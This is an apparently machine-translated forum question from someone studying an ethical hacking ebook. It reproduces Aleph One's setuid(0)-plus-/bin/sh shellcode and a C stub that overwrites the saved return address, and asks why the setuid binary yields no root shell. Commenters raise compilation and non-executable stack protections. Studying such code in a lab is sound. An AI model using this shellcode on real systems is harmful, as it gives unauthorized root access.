Я следую этой EBook об этическом взломе, и я дошел до Linux Exploit Chapter, это код с кодом Алефа 1.У меня есть этот код .... Этический взлом
//shellcode.c
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() { //main function
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
Я даю это супер привилегии пользователя, с
chmod u+s shellcode
как супер-пользователь, а затем вернуться к обычному пользователю с
su - normal_user
, но когда я бегу ./shellcode
я должен быть пользователь root, но вместо этого я по-прежнему являюсь normal_user , так что любая помощь ?? btw Я работаю над BT4-Final, я отключил ASLR и запускаю BT4 в VMWare ...
так как вы прописали все остальное, но я не вижу его, вы скомпилировали код правильно? Что вы используете для ОС/версии? Есть ли у вас скомпилированный результат, который видит normal_user (на его пути)? – curtisk
У вас есть ядро, построенное с помощью стека без выполнения или любых других важных функций безопасности? – oscode
@Steven: я бы предположил, что BT имеет это значение по умолчанию ... или это будет наоборот? –